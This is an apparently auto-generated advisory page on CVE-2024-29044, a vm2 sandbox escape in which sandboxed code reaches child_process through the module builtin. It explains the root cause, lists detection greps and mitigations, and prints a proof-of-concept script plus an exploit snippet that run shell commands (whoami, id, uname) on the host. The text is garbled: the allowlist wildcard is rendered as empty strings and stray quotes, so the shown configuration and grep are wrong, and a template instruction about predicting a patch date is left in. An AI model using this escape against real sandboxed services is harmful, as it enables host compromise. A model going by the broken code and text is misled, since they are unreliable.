Listen to this Post
The CVE-2024-29044 vulnerability arises from an incorrect authorization flaw (CWE-863) in vm2’s built-in module allowlist mechanism. The root cause is that the `module` builtin, which exposes Node.js’s `Module._load()` function, is not excluded when the `”` wildcard is used, even if dangerous modules like `child_process` are explicitly excluded. When a developer configures `NodeVM` with an allowlist pattern such as builtin: ['', '-child_process'], the `makeBuiltinsFromLegacyOptions` function iterates over all `BUILTIN_MODULES` and adds any module not explicitly listed as excluded. Since `module` is a standard Node.js builtin and is not among the exclusions, it is made available to the sandboxed code. Critically, the `module` builtin is not included in the `SPECIAL_MODULES` list (which contains only events, buffer, and util). This means it is wrapped with a generic read-only proxy instead of a sandbox-safe version. The read-only proxy only prevents mutation operations (like `set` or deleteProperty) but does not override the `get` or `apply` traps, which are inherited from BaseHandler. Consequently, when sandboxed code calls Module._load('child_process'), the `BaseHandler.apply()` method forwards the call directly to the host context. The host’s `Module._load` function then loads `child_process` natively, bypassing vm2’s allowlist entirely. This allows an attacker to execute arbitrary commands on the host system using child_process.execSync().
dailycve form:
Platform: vm2 Library
Version: <=3.9.19
Vulnerability : Sandbox Escape
Severity: Critical
date: 2024-04-05
Prediction: include expected Patch date. 2024-04-10
Analytics under heading What Undercode Say:
Identify vulnerable vm2 version in package.json
grep '"vm2"' package.json
Check for vulnerable allowlist patterns in code
grep -r "builtin:" --include=".js" | grep "'\'"
Simulate the vulnerable configuration
cat > test_vm2.js << 'EOF'
const { NodeVM } = require('vm2');
const vm = new NodeVM({
require: {
builtin: ['', '-child_process'],
external: false,
},
});
const result = vm.run(<code>const Module = require('module');
const cp = Module._load('child_process');
module.exports = cp.execSync('whoami').toString();</code>, 'poc.js');
console.log(result.trim());
EOF
Run the PoC
node test_vm2.js
Check for child_process usage in logs
grep "child_process" /var/log/app.log
How Exploit:
// Exploit code to be run inside the sandbox
const Module = require('module');
const child_process = Module._load('child_process');
const output = child_process.execSync('id && uname -a');
console.log(output.toString());
Protection from this CVE:
- Upgrade vm2: Update to version 3.9.20 or later, which patches this vulnerability.
- Avoid wildcard patterns: Do not use `”` in the `builtin` allowlist. Explicitly list only the necessary builtins.
- Exclude
module: If using a wildcard, always exclude `module` manually:builtin: ['', '-child_process', '-module']. - Use a different sandbox: Consider using `isolated-vm` or `vm` (with extreme caution) as an alternative.
- Monitor for malicious code: Implement strict input validation and monitoring for scripts that attempt to load `module` or
child_process.
Impact:
- Complete sandbox escape: An attacker can break out of the vm2 sandbox entirely.
- Remote code execution: The attacker can execute arbitrary commands on the host system, leading to full system compromise.
- Data breach: Sensitive data on the host, including environment variables, source code, and customer data, can be accessed or exfiltrated.
- Lateral movement: The compromised host can be used as a pivot point to attack other internal systems.
- Widespread applicability: The vulnerability affects any Node.js application using vm2 with a configuration that includes the `”` wildcard, a common pattern for allowing all builtins except dangerous ones.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

